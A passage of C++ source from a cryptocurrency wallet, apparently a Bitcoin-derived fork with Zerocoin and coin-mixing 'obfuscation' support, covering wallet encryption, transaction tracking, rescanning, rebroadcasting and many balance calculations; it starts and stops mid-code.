WALLET_CRYPTO_SALT_SIZE); CCrypter crypter; int64_t nStartTime = GetTimeMillis(); crypter.SetKeyFromPassphrase(strWalletPassphrase, kMasterKey.vchSalt, 25000, kMasterKey.nDerivationMethod); kMasterKey.nDeriveIterations = 2500000 / ((double)(GetTimeMillis() - nStartTime)); nStartTime = GetTimeMillis(); crypter.SetKeyFromPassphrase(strWalletPassphrase, kMasterKey.vchSalt, kMasterKey.nDeriveIterations, kMasterKey.nDerivationMethod); kMasterKey.nDeriveIterations = (kMasterKey.nDeriveIterations + kMasterKey.nDeriveIterations * 100 / ((double)(GetTimeMillis() - nStartTime))) / 2; if (kMasterKey.nDeriveIterations < 25000) kMasterKey.nDeriveIterations = 25000; LogPrintf("Encrypting Wallet with an nDeriveIterations of %i\n", kMasterKey.nDeriveIterations); if (!crypter.SetKeyFromPassphrase(strWalletPassphrase, kMasterKey.vchSalt, kMasterKey.nDeriveIterations, kMasterKey.nDerivationMethod)) return false; if (!crypter.Encrypt(vMasterKey, kMasterKey.vchCryptedKey)) return false; { LOCK(cs_wallet); mapMasterKeys[++nMasterKeyMaxID] = kMasterKey; if (fFileBacked) { assert(!pwalletdbEncryption); pwalletdbEncryption = new CWalletDB(strWalletFile); if (!pwalletdbEncryption->TxnBegin()) { delete pwalletdbEncryption; pwalletdbEncryption = NULL; return false; } pwalletdbEncryption->WriteMasterKey(nMasterKeyMaxID, kMasterKey); } if (!EncryptKeys(vMasterKey)) { if (fFileBacked) { pwalletdbEncryption->TxnAbort(); delete pwalletdbEncryption; } // We now probably have half of our keys encrypted in memory, and half not... // die and let the user reload their unencrypted wallet. assert(false); } // Encryption was introduced in version 0.4.0 SetMinVersion(FEATURE_WALLETCRYPT, pwalletdbEncryption, true); if (fFileBacked) { if (!pwalletdbEncryption->TxnCommit()) { delete pwalletdbEncryption; // We now have keys encrypted in memory, but not on disk... // die to avoid confusion and let the user reload their unencrypted wallet. assert(false); } delete pwalletdbEncryption; pwalletdbEncryption = NULL; } Lock(); Unlock(strWalletPassphrase); NewKeyPool(); Lock(); // Need to completely rewrite the wallet file; if we don't, bdb might keep // bits of the unencrypted private key in slack space in the database file. CDB::Rewrite(strWalletFile); } NotifyStatusChanged(this); return true; } int64_t CWallet::IncOrderPosNext(CWalletDB* pwalletdb) { AssertLockHeld(cs_wallet); // nOrderPosNext int64_t nRet = nOrderPosNext++; if (pwalletdb) { pwalletdb->WriteOrderPosNext(nOrderPosNext); } else { CWalletDB(strWalletFile).WriteOrderPosNext(nOrderPosNext); } return nRet; } CWallet::TxItems CWallet::OrderedTxItems(std::list<CAccountingEntry>& acentries, std::string strAccount) { AssertLockHeld(cs_wallet); // mapWallet CWalletDB walletdb(strWalletFile); // First: get all CWalletTx and CAccountingEntry into a sorted-by-order multimap. TxItems txOrdered; // Note: maintaining indices in the database of (account,time) --> txid and (account, time) --> acentry // would make this much faster for applications that do this a lot. for (map<uint256, CWalletTx>::iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { CWalletTx* wtx = &((*it).second); txOrdered.insert(make_pair(wtx->nOrderPos, TxPair(wtx, (CAccountingEntry*)0))); } acentries.clear(); walletdb.ListAccountCreditDebit(strAccount, acentries); BOOST_FOREACH (CAccountingEntry& entry, acentries) { txOrdered.insert(make_pair(entry.nOrderPos, TxPair((CWalletTx*)0, &entry))); } return txOrdered; } void CWallet::MarkDirty() { { LOCK(cs_wallet); BOOST_FOREACH (PAIRTYPE(const uint256, CWalletTx) & item, mapWallet) item.second.MarkDirty(); } } bool CWallet::AddToWallet(const CWalletTx& wtxIn, bool fFromLoadWallet) { uint256 hash = wtxIn.GetHash(); if (fFromLoadWallet) { mapWallet[hash] = wtxIn; mapWallet[hash].BindWallet(this); AddToSpends(hash); } else { LOCK(cs_wallet); // Inserts only if not already there, returns tx inserted or tx found pair<map<uint256, CWalletTx>::iterator, bool> ret = mapWallet.insert(make_pair(hash, wtxIn)); CWalletTx& wtx = (*ret.first).second; wtx.BindWallet(this); bool fInsertedNew = ret.second; if (fInsertedNew) { wtx.nTimeReceived = GetAdjustedTime(); wtx.nOrderPos = IncOrderPosNext(); wtx.nTimeSmart = wtx.nTimeReceived; if (wtxIn.hashBlock != 0) { if (mapBlockIndex.count(wtxIn.hashBlock)) { int64_t latestNow = wtx.nTimeReceived; int64_t latestEntry = 0; { // Tolerate times up to the last timestamp in the wallet not more than 5 minutes into the future int64_t latestTolerated = latestNow + 300; std::list<CAccountingEntry> acentries; TxItems txOrdered = OrderedTxItems(acentries); for (TxItems::reverse_iterator it = txOrdered.rbegin(); it != txOrdered.rend(); ++it) { CWalletTx* const pwtx = (*it).second.first; if (pwtx == &wtx) continue; CAccountingEntry* const pacentry = (*it).second.second; int64_t nSmartTime; if (pwtx) { nSmartTime = pwtx->nTimeSmart; if (!nSmartTime) nSmartTime = pwtx->nTimeReceived; } else nSmartTime = pacentry->nTime; if (nSmartTime <= latestTolerated) { latestEntry = nSmartTime; if (nSmartTime > latestNow) latestNow = nSmartTime; break; } } } int64_t blocktime = mapBlockIndex[wtxIn.hashBlock]->GetBlockTime(); wtx.nTimeSmart = std::max(latestEntry, std::min(blocktime, latestNow)); } else LogPrintf("AddToWallet() : found %s in block %s not in index\n", wtxIn.GetHash().ToString(), wtxIn.hashBlock.ToString()); } AddToSpends(hash); } bool fUpdated = false; if (!fInsertedNew) { // Merge if (wtxIn.hashBlock != 0 && wtxIn.hashBlock != wtx.hashBlock) { wtx.hashBlock = wtxIn.hashBlock; fUpdated = true; } if (wtxIn.nIndex != -1 && (wtxIn.vMerkleBranch != wtx.vMerkleBranch || wtxIn.nIndex != wtx.nIndex)) { wtx.vMerkleBranch = wtxIn.vMerkleBranch; wtx.nIndex = wtxIn.nIndex; fUpdated = true; } if (wtxIn.fFromMe && wtxIn.fFromMe != wtx.fFromMe) { wtx.fFromMe = wtxIn.fFromMe; fUpdated = true; } } //// debug print LogPrintf("AddToWallet %s %s%s\n", wtxIn.GetHash().ToString(), (fInsertedNew ? "new" : ""), (fUpdated ? "update" : "")); // Write to disk if (fInsertedNew || fUpdated) if (!wtx.WriteToDisk()) return false; // Break debit/credit balance caches: wtx.MarkDirty(); // Notify UI of new or updated transaction NotifyTransactionChanged(this, hash, fInsertedNew ? CT_NEW : CT_UPDATED); // notify an external script when a wallet transaction comes in or is updated std::string strCmd = GetArg("-walletnotify", ""); if (!strCmd.empty()) { boost::replace_all(strCmd, "%s", wtxIn.GetHash().GetHex()); boost::thread t(runCommand, strCmd); // thread runs free } } return true; } /** * Add a transaction to the wallet, or update it. * pblock is optional, but should be provided if the transaction is known to be in a block. * If fUpdate is true, existing transactions will be updated. */ bool CWallet::AddToWalletIfInvolvingMe(const CTransaction& tx, const CBlock* pblock, bool fUpdate) { { AssertLockHeld(cs_wallet); bool fExisted = mapWallet.count(tx.GetHash()) != 0; if (fExisted && !fUpdate) return false; if (fExisted || IsMine(tx) || IsFromMe(tx)) { CWalletTx wtx(this, tx); // Get merkle branch if transaction was found in a block if (pblock) wtx.SetMerkleBranch(*pblock); return AddToWallet(wtx); } } return false; } void CWallet::SyncTransaction(const CTransaction& tx, const CBlock* pblock) { LOCK2(cs_main, cs_wallet); if (!AddToWalletIfInvolvingMe(tx, pblock, true)) return; // Not one of ours // If a transaction changes 'conflicted' state, that changes the balance // available of the outputs it spends. So force those to be // recomputed, also: BOOST_FOREACH (const CTxIn& txin, tx.vin) { if (!tx.IsZerocoinSpend() && mapWallet.count(txin.prevout.hash)) mapWallet[txin.prevout.hash].MarkDirty(); } } void CWallet::EraseFromWallet(const uint256& hash) { if (!fFileBacked) return; { LOCK(cs_wallet); if (mapWallet.erase(hash)) CWalletDB(strWalletFile).EraseTx(hash); } return; } isminetype CWallet::IsMine(const CTxIn& txin) const { { LOCK(cs_wallet); map<uint256, CWalletTx>::const_iterator mi = mapWallet.find(txin.prevout.hash); if (mi != mapWallet.end()) { const CWalletTx& prev = (*mi).second; if (txin.prevout.n < prev.vout.size()) return IsMine(prev.vout[txin.prevout.n]); } } return ISMINE_NO; } bool CWallet::IsMyZerocoinSpend(const CBigNum& bnSerial) const { return CWalletDB(strWalletFile).ReadZerocoinSpendSerialEntry(bnSerial); } CAmount CWallet::GetDebit(const CTxIn& txin, const isminefilter& filter) const { { LOCK(cs_wallet); map<uint256, CWalletTx>::const_iterator mi = mapWallet.find(txin.prevout.hash); if (mi != mapWallet.end()) { const CWalletTx& prev = (*mi).second; if (txin.prevout.n < prev.vout.size()) if (IsMine(prev.vout[txin.prevout.n]) & filter) return prev.vout[txin.prevout.n].nValue; } } return 0; } // Recursively determine the rounds of a given input (How deep is the Obfuscation chain for a given input) int CWallet::GetRealInputObfuscationRounds(CTxIn in, int rounds) const { static std::map<uint256, CMutableTransaction> mDenomWtxes; if (rounds >= 16) return 15; // 16 rounds max uint256 hash = in.prevout.hash; unsigned int nout = in.prevout.n; const CWalletTx* wtx = GetWalletTx(hash); if (wtx != NULL) { std::map<uint256, CMutableTransaction>::const_iterator mdwi = mDenomWtxes.find(hash); // not known yet, let's add it if (mdwi == mDenomWtxes.end()) { LogPrint("obfuscation", "GetInputObfuscationRounds INSERTING %s\n", hash.ToString()); mDenomWtxes[hash] = CMutableTransaction(*wtx); } // found and it's not an initial value, just return it else if (mDenomWtxes[hash].vout[nout].nRounds != -10) { return mDenomWtxes[hash].vout[nout].nRounds; } // bounds check if (nout >= wtx->vout.size()) { // should never actually hit this LogPrint("obfuscation", "GetInputObfuscationRounds UPDATED %s %3d %3d\n", hash.ToString(), nout, -4); return -4; } if (pwalletMain->IsCollateralAmount(wtx->vout[nout].nValue)) { mDenomWtxes[hash].vout[nout].nRounds = -3; LogPrint("obfuscation", "GetInputObfuscationRounds UPDATED %s %3d %3d\n", hash.ToString(), nout, mDenomWtxes[hash].vout[nout].nRounds); return mDenomWtxes[hash].vout[nout].nRounds; } //make sure the final output is non-denominate if (/*rounds == 0 && */ !IsDenominatedAmount(wtx->vout[nout].nValue)) //NOT DENOM { mDenomWtxes[hash].vout[nout].nRounds = -2; LogPrint("obfuscation", "GetInputObfuscationRounds UPDATED %s %3d %3d\n", hash.ToString(), nout, mDenomWtxes[hash].vout[nout].nRounds); return mDenomWtxes[hash].vout[nout].nRounds; } bool fAllDenoms = true; BOOST_FOREACH (CTxOut out, wtx->vout) { fAllDenoms = fAllDenoms && IsDenominatedAmount(out.nValue); } // this one is denominated but there is another non-denominated output found in the same tx if (!fAllDenoms) { mDenomWtxes[hash].vout[nout].nRounds = 0; LogPrint("obfuscation", "GetInputObfuscationRounds UPDATED %s %3d %3d\n", hash.ToString(), nout, mDenomWtxes[hash].vout[nout].nRounds); return mDenomWtxes[hash].vout[nout].nRounds; } int nShortest = -10; // an initial value, should be no way to get this by calculations bool fDenomFound = false; // only denoms here so let's look up BOOST_FOREACH (CTxIn in2, wtx->vin) { if (IsMine(in2)) { int n = GetRealInputObfuscationRounds(in2, rounds + 1); // denom found, find the shortest chain or initially assign nShortest with the first found value if (n >= 0 && (n < nShortest || nShortest == -10)) { nShortest = n; fDenomFound = true; } } } mDenomWtxes[hash].vout[nout].nRounds = fDenomFound ? (nShortest >= 15 ? 16 : nShortest + 1) // good, we a +1 to the shortest one but only 16 rounds max allowed : 0; // too bad, we are the fist one in that chain LogPrint("obfuscation", "GetInputObfuscationRounds UPDATED %s %3d %3d\n", hash.ToString(), nout, mDenomWtxes[hash].vout[nout].nRounds); return mDenomWtxes[hash].vout[nout].nRounds; } return rounds - 1; } // respect current settings int CWallet::GetInputObfuscationRounds(CTxIn in) const { LOCK(cs_wallet); int realObfuscationRounds = GetRealInputObfuscationRounds(in, 0); return realObfuscationRounds > nZeromintPercentage ? nZeromintPercentage : realObfuscationRounds; } bool CWallet::IsDenominated(const CTxIn& txin) const { { LOCK(cs_wallet); map<uint256, CWalletTx>::const_iterator mi = mapWallet.find(txin.prevout.hash); if (mi != mapWallet.end()) { const CWalletTx& prev = (*mi).second; if (txin.prevout.n < prev.vout.size()) return IsDenominatedAmount(prev.vout[txin.prevout.n].nValue); } } return false; } bool CWallet::IsDenominated(const CTransaction& tx) const { /* Return false if ANY inputs are non-denom */ bool ret = true; BOOST_FOREACH (const CTxIn& txin, tx.vin) { if (!IsDenominated(txin)) { ret = false; } } return ret; } bool CWallet::IsDenominatedAmount(CAmount nInputAmount) const { BOOST_FOREACH (CAmount d, obfuScationDenominations) if (nInputAmount == d) return true; return false; } bool CWallet::IsChange(const CTxOut& txout) const { // TODO: fix handling of 'change' outputs. The assumption is that any // payment to a script that is ours, but is not in the address book // is change. That assumption is likely to break when we implement multisignature // wallets that return change back into a multi-signature-protected address; // a better way of identifying which outputs are 'the send' and which are // 'the change' will need to be implemented (maybe extend CWalletTx to remember // which output, if any, was change). if (::IsMine(*this, txout.scriptPubKey)) { CTxDestination address; if (!ExtractDestination(txout.scriptPubKey, address)) return true; LOCK(cs_wallet); if (!mapAddressBook.count(address)) return true; } return false; } int64_t CWalletTx::GetTxTime() const { int64_t n = nTimeSmart; return n ? n : nTimeReceived; } int64_t CWalletTx::GetComputedTxTime() const { int64_t nTime = GetTxTime(); if (IsZerocoinSpend() || IsZerocoinMint()) { if (IsInMainChain()) return mapBlockIndex.at(hashBlock)->GetBlockTime(); else return nTimeReceived; } return nTime; } int CWalletTx::GetRequestCount() const { // Returns -1 if it wasn't being tracked int nRequests = -1; { LOCK(pwallet->cs_wallet); if (IsCoinBase()) { // Generated block if (hashBlock != 0) { map<uint256, int>::const_iterator mi = pwallet->mapRequestCount.find(hashBlock); if (mi != pwallet->mapRequestCount.end()) nRequests = (*mi).second; } } else { // Did anyone request this transaction? map<uint256, int>::const_iterator mi = pwallet->mapRequestCount.find(GetHash()); if (mi != pwallet->mapRequestCount.end()) { nRequests = (*mi).second; // How about the block it's in? if (nRequests == 0 && hashBlock != 0) { map<uint256, int>::const_iterator mi = pwallet->mapRequestCount.find(hashBlock); if (mi != pwallet->mapRequestCount.end()) nRequests = (*mi).second; else nRequests = 1; // If it's in someone else's block it must have got out } } } } return nRequests; } void CWalletTx::GetAmounts(list<COutputEntry>& listReceived, list<COutputEntry>& listSent, CAmount& nFee, string& strSentAccount, const isminefilter& filter) const { nFee = 0; listReceived.clear(); listSent.clear(); strSentAccount = strFromAccount; // Compute fee: CAmount nDebit = GetDebit(filter); if (nDebit > 0) // debit>0 means we signed/sent this transaction { CAmount nValueOut = GetValueOut(); nFee = nDebit - nValueOut; } // Sent/received. for (unsigned int i = 0; i < vout.size(); ++i) { const CTxOut& txout = vout[i]; isminetype fIsMine = pwallet->IsMine(txout); // Only need to handle txouts if AT LEAST one of these is true: // 1) they debit from us (sent) // 2) the output is to us (received) if (nDebit > 0) { // Don't report 'change' txouts if (pwallet->IsChange(txout)) continue; } else if (!(fIsMine & filter) && !IsZerocoinSpend()) continue; // In either case, we need to get the destination address CTxDestination address; if (!ExtractDestination(txout.scriptPubKey, address)) { LogPrintf("CWalletTx::GetAmounts: Unknown transaction type found, txid %s\n", this->GetHash().ToString()); address = CNoDestination(); } COutputEntry output = {address, txout.nValue, (int)i}; // If we are debited by the transaction, add the output as a "sent" entry if (nDebit > 0) listSent.push_back(output); // If we are receiving the output, add it as a "received" entry if (fIsMine & filter) listReceived.push_back(output); } } void CWalletTx::GetAccountAmounts(const string& strAccount, CAmount& nReceived, CAmount& nSent, CAmount& nFee, const isminefilter& filter) const { nReceived = nSent = nFee = 0; CAmount allFee; string strSentAccount; list<COutputEntry> listReceived; list<COutputEntry> listSent; GetAmounts(listReceived, listSent, allFee, strSentAccount, filter); if (strAccount == strSentAccount) { BOOST_FOREACH (const COutputEntry& s, listSent) nSent += s.amount; nFee = allFee; } { LOCK(pwallet->cs_wallet); BOOST_FOREACH (const COutputEntry& r, listReceived) { if (pwallet->mapAddressBook.count(r.destination)) { map<CTxDestination, CAddressBookData>::const_iterator mi = pwallet->mapAddressBook.find(r.destination); if (mi != pwallet->mapAddressBook.end() && (*mi).second.name == strAccount) nReceived += r.amount; } else if (strAccount.empty()) { nReceived += r.amount; } } } } bool CWalletTx::WriteToDisk() { return CWalletDB(pwallet->strWalletFile).WriteTx(GetHash(), *this); } /** * Scan the block chain (starting in pindexStart) for transactions * from or to us. If fUpdate is true, found transactions that already * exist in the wallet will be updated. */ int CWallet::ScanForWalletTransactions(CBlockIndex* pindexStart, bool fUpdate) { int ret = 0; int64_t nNow = GetTime(); CBlockIndex* pindex = pindexStart; { LOCK2(cs_main, cs_wallet); // no need to read and scan block, if block was created before // our wallet birthday (as adjusted for block time variability) while (pindex && nTimeFirstKey && (pindex->GetBlockTime() < (nTimeFirstKey - 7200))) pindex = chainActive.Next(pindex); ShowProgress(_("Rescanning..."), 0); // show rescan progress in GUI as dialog or on splashscreen, if -rescan on startup double dProgressStart = Checkpoints::GuessVerificationProgress(pindex, false); double dProgressTip = Checkpoints::GuessVerificationProgress(chainActive.Tip(), false); while (pindex) { if (pindex->nHeight % 100 == 0 && dProgressTip - dProgressStart > 0.0) ShowProgress(_("Rescanning..."), std::max(1, std::min(99, (int)((Checkpoints::GuessVerificationProgress(pindex, false) - dProgressStart) / (dProgressTip - dProgressStart) * 100)))); CBlock block; ReadBlockFromDisk(block, pindex); BOOST_FOREACH (CTransaction& tx, block.vtx) { if (AddToWalletIfInvolvingMe(tx, &block, fUpdate)) ret++; } pindex = chainActive.Next(pindex); if (GetTime() >= nNow + 60) { nNow = GetTime(); LogPrintf("Still rescanning. At block %d. Progress=%f\n", pindex->nHeight, Checkpoints::GuessVerificationProgress(pindex)); } } ShowProgress(_("Rescanning..."), 100); // hide progress dialog in GUI } return ret; } void CWallet::ReacceptWalletTransactions() { LOCK2(cs_main, cs_wallet); BOOST_FOREACH (PAIRTYPE(const uint256, CWalletTx) & item, mapWallet) { const uint256& wtxid = item.first; CWalletTx& wtx = item.second; assert(wtx.GetHash() == wtxid); int nDepth = wtx.GetDepthInMainChain(); if (!wtx.IsCoinBase() && nDepth < 0) { // Try to add to memory pool LOCK(mempool.cs); wtx.AcceptToMemoryPool(false); } } } bool CWalletTx::InMempool() const { LOCK(mempool.cs); if (mempool.exists(GetHash())) { return true; } return false; } void CWalletTx::RelayWalletTransaction(std::string strCommand) { if (!IsCoinBase()) { if (GetDepthInMainChain() == 0) { uint256 hash = GetHash(); LogPrintf("Relaying wtx %s\n", hash.ToString()); if (strCommand == "ix") { mapTxLockReq.insert(make_pair(hash, (CTransaction) * this)); CreateNewLock(((CTransaction) * this)); RelayTransactionLockReq((CTransaction) * this, true); } else { RelayTransaction((CTransaction) * this); } } } } set<uint256> CWalletTx::GetConflicts() const { set<uint256> result; if (pwallet != NULL) { uint256 myHash = GetHash(); result = pwallet->GetConflicts(myHash); result.erase(myHash); } return result; } void CWallet::ResendWalletTransactions() { // Do this infrequently and randomly to avoid giving away // that these are our transactions. if (GetTime() < nNextResend) return; bool fFirst = (nNextResend == 0); nNextResend = GetTime() + GetRand(30 * 60); if (fFirst) return; // Only do it if there's been a new block since last time if (nTimeBestReceived < nLastResend) return; nLastResend = GetTime(); // Rebroadcast any of our txes that aren't in a block yet LogPrintf("ResendWalletTransactions()\n"); { LOCK(cs_wallet); // Sort them in chronological order multimap<unsigned int, CWalletTx*> mapSorted; BOOST_FOREACH (PAIRTYPE(const uint256, CWalletTx) & item, mapWallet) { CWalletTx& wtx = item.second; // Don't rebroadcast until it's had plenty of time that // it should have gotten in already by now. if (nTimeBestReceived - (int64_t)wtx.nTimeReceived > 5 * 60) mapSorted.insert(make_pair(wtx.nTimeReceived, &wtx)); } BOOST_FOREACH (PAIRTYPE(const unsigned int, CWalletTx*) & item, mapSorted) { CWalletTx& wtx = *item.second; wtx.RelayWalletTransaction(); } } } /** @} */ // end of mapWallet /** @defgroup Actions * * @{ */ CAmount CWallet::GetBalance() const { CAmount nTotal = 0; { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; if (pcoin->IsTrusted()) nTotal += pcoin->GetAvailableCredit(); } } return nTotal; } CAmount CWallet::GetZerocoinBalance(bool fMatureOnly) const { CAmount nTotal = 0; //! zerocoin specific fields std::map<libzerocoin::CoinDenomination, unsigned int> myZerocoinSupply; for (auto& denom : libzerocoin::zerocoinDenomList) { myZerocoinSupply.insert(make_pair(denom, 0)); } { LOCK2(cs_main, cs_wallet); // Get Unused coins list<CZerocoinMint> listPubCoin = CWalletDB(strWalletFile).ListMintedCoins(true, fMatureOnly, true); for (auto& mint : listPubCoin) { libzerocoin::CoinDenomination denom = mint.GetDenomination(); nTotal += libzerocoin::ZerocoinDenominationToAmount(denom); myZerocoinSupply.at(denom)++; } } for (auto& denom : libzerocoin::zerocoinDenomList) { LogPrint("zero","%s My coins for denomination %d pubcoin %s\n", __func__,denom, myZerocoinSupply.at(denom)); } LogPrint("zero","Total value of coins %d\n",nTotal); if (nTotal < 0 ) nTotal = 0; // Sanity never hurts return nTotal; } CAmount CWallet::GetImmatureZerocoinBalance() const { return GetZerocoinBalance(false) - GetZerocoinBalance(true); } CAmount CWallet::GetUnconfirmedZerocoinBalance() const { CAmount nUnconfirmed = 0; CWalletDB walletdb(pwalletMain->strWalletFile); list<CZerocoinMint> listMints = walletdb.ListMintedCoins(true, false, true); std::map<libzerocoin::CoinDenomination, int> mapUnconfirmed; for (const auto& denom : libzerocoin::zerocoinDenomList){ mapUnconfirmed.insert(make_pair(denom, 0)); } { LOCK2(cs_main, cs_wallet); for (auto& mint : listMints){ if (!mint.GetHeight() || mint.GetHeight() > chainActive.Height() - Params().Zerocoin_MintRequiredConfirmations()) { libzerocoin::CoinDenomination denom = mint.GetDenomination(); nUnconfirmed += libzerocoin::ZerocoinDenominationToAmount(denom); mapUnconfirmed.at(denom)++; } } } for (auto& denom : libzerocoin::zerocoinDenomList) { LogPrint("zero","%s My unconfirmed coins for denomination %d pubcoin %s\n", __func__,denom, mapUnconfirmed.at(denom)); } LogPrint("zero","Total value of unconfirmed coins %ld\n", nUnconfirmed); if (nUnconfirmed < 0 ) nUnconfirmed = 0; // Sanity never hurts return nUnconfirmed; } CAmount CWallet::GetUnlockedCoins() const { if (fLiteMode) return 0; CAmount nTotal = 0; { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; if (pcoin->IsTrusted() && pcoin->GetDepthInMainChain() > 0) nTotal += pcoin->GetUnlockedCredit(); } } return nTotal; } CAmount CWallet::GetLockedCoins() const { if (fLiteMode) return 0; CAmount nTotal = 0; { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; if (pcoin->IsTrusted() && pcoin->GetDepthInMainChain() > 0) nTotal += pcoin->GetLockedCredit(); } } return nTotal; } // Get a Map pairing the Denominations with the amount of Zerocoin for each Denomination std::map<libzerocoin::CoinDenomination, CAmount> CWallet::GetMyZerocoinDistribution() const { std::map<libzerocoin::CoinDenomination, CAmount> spread; for (const auto& denom : libzerocoin::zerocoinDenomList) spread.insert(std::pair<libzerocoin::CoinDenomination, CAmount>(denom, 0)); { LOCK2(cs_main, cs_wallet); list<CZerocoinMint> listPubCoin = CWalletDB(strWalletFile).ListMintedCoins(true, true, true); for (auto& mint : listPubCoin) spread.at(mint.GetDenomination())++; } return spread; } CAmount CWallet::GetAnonymizableBalance() const { if (fLiteMode) return 0; CAmount nTotal = 0; { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; if (pcoin->IsTrusted()) nTotal += pcoin->GetAnonymizableCredit(); } } return nTotal; } CAmount CWallet::GetAnonymizedBalance() const { if (fLiteMode) return 0; CAmount nTotal = 0; { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; if (pcoin->IsTrusted()) nTotal += pcoin->GetAnonymizedCredit(); } } return nTotal; } // Note: calculated including unconfirmed, // that's ok as long as we use it for informational purposes only double CWallet::GetAverageAnonymizedRounds() const { if (fLiteMode) return 0; double fTotal = 0; double fCount = 0; { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; uint256 hash = (*it).first; for (unsigned int i = 0; i < pcoin->vout.size(); i++) { CTxIn vin = CTxIn(hash, i); if (IsSpent(hash, i) || IsMine(pcoin->vout[i]) != ISMINE_SPENDABLE || !IsDenominated(vin)) continue; int rounds = GetInputObfuscationRounds(vin); fTotal += (float)rounds; fCount += 1; } } } if (fCount == 0) return 0; return fTotal / fCount; } // Note: calculated including unconfirmed, // that's ok as long as we use it for informational purposes only CAmount CWallet::GetNormalizedAnonymizedBalance() const { if (fLiteMode) return 0; CAmount nTotal = 0; { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; uint256 hash = (*it).first; for (unsigned int i = 0; i < pcoin->vout.size(); i++) { CTxIn vin = CTxIn(hash, i); if (IsSpent(hash, i) || IsMine(pcoin->vout[i]) != ISMINE_SPENDABLE || !IsDenominated(vin)) continue; if (pcoin->GetDepthInMainChain() < 0) continue; int rounds = GetInputObfuscationRounds(vin); nTotal += pcoin->vout[i].nValue * rounds / nZeromintPercentage; } } } return nTotal; } CAmount CWallet::GetDenominatedBalance(bool unconfirmed) const { if (fLiteMode) return 0; CAmount nTotal = 0; { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; nTotal += pcoin->GetDenominatedCredit(unconfirmed); } } return nTotal; } CAmount CWallet::GetUnconfirmedBalance() const { CAmount nTotal = 0; { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; if (!IsFinalTx(*pcoin) || (!pcoin->IsTrusted() && pcoin->GetDepthInMainChain() == 0)) nTotal += pcoin->GetAvailableCredit(); } } return nTotal; } CAmount CWallet::GetImmatureBalance() const { CAmount nTotal = 0; { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; nTotal += pcoin->GetImmatureCredit(); } } return nTotal; } CAmount CWallet::GetWatchOnlyBalance() const { CAmount nTotal = 0; { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; if (pcoin->IsTrusted()) nTotal += pcoin->GetAvailableWatchOnlyCredit(); } } return nTotal; } CAmount CWallet::GetUnconfirmedWatchOnlyBalance() const { CAmount nTotal = 0; { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; if (!IsFinalTx(*pcoin) || (!pcoin->IsTrusted() && pcoin->GetDepthInMainChain() == 0)) nTotal += pcoin->GetAvailableWatchOnlyCredit(); } } return nTotal; } CAmount CWallet::GetImmatureWatchOnlyBalance() const { CAmount nTotal = 0; { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; nTotal += pcoin->GetImmatureWatchOnlyCredit(); } } return nTotal; } /** * populate vCoins with vector of available COutputs. */ void CWallet::AvailableCoins(vector<COutput>& vCoins, bool fOnlyConfirmed, const CCoinControl* coinControl, bool fIncludeZeroValue, AvailableCoinsType nCoinType, bool fUseIX) const { vCoins.clear(); { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const uint256& wtxid = it->first; const CWalletTx* pcoin = &(*it).second; if (!CheckFinalTx(*pcoin)) continue; if (fOnlyConfirmed && !pcoin->IsTrusted()) continue; if ((pcoin->IsCoinBase() || pcoin->IsCoinStake()) && pcoin->GetBlocksToMaturity() > 0) continue; int nDepth = pcoin->GetDepthInMainChain(false); // do not use IX for inputs that have less then 6 blockchain confirmations if (fUseIX && nDepth < 6) continue; // We should not consider coins which aren't at least in our mempool // It's possible for these to be conflicted via ancestors which we may never be able to detect if (nDepth == 0 && !pcoin->InMempool()) continue; for (unsigned int i = 0; i < pcoin->vout.size(); i++) { bool found = false; if (nCoinType == ONLY_DENOMINATED) { found = IsDenominatedAmount(pcoin->vout[i].nValue); } else if (nCoinType == ONLY_NOT10000IFMN) { found = !(fMasterNode && pcoin->vout[i].nValue == GetMstrNodCollateral(chainActive.Height())*COIN); } else if (nCoinType == ONLY_NONDENOMINATED_NOT10000IFMN) { if (IsCollateralAmount(pcoin->vout[i].nValue)) continue; // do not use collateral amounts found = !IsDenominatedAmount(pcoin->vout[i].nValue); if (found && fMasterNode) found = pcoin->vout[i].nValue != GetMstrNodCollateral(chainActive.Height())*COIN; // do not use Hot MN funds } else if (nCoinType == ONLY_10000) { found = pcoin->vout[i].nValue == GetMstrNodCollateral(chainActive.Height())*COIN; } else { found = true; } if (!found) continue; if (nCoinType == STAKABLE_COINS) { if (pcoin->vout[i].IsZerocoinMint()) continue; } isminetype mine = 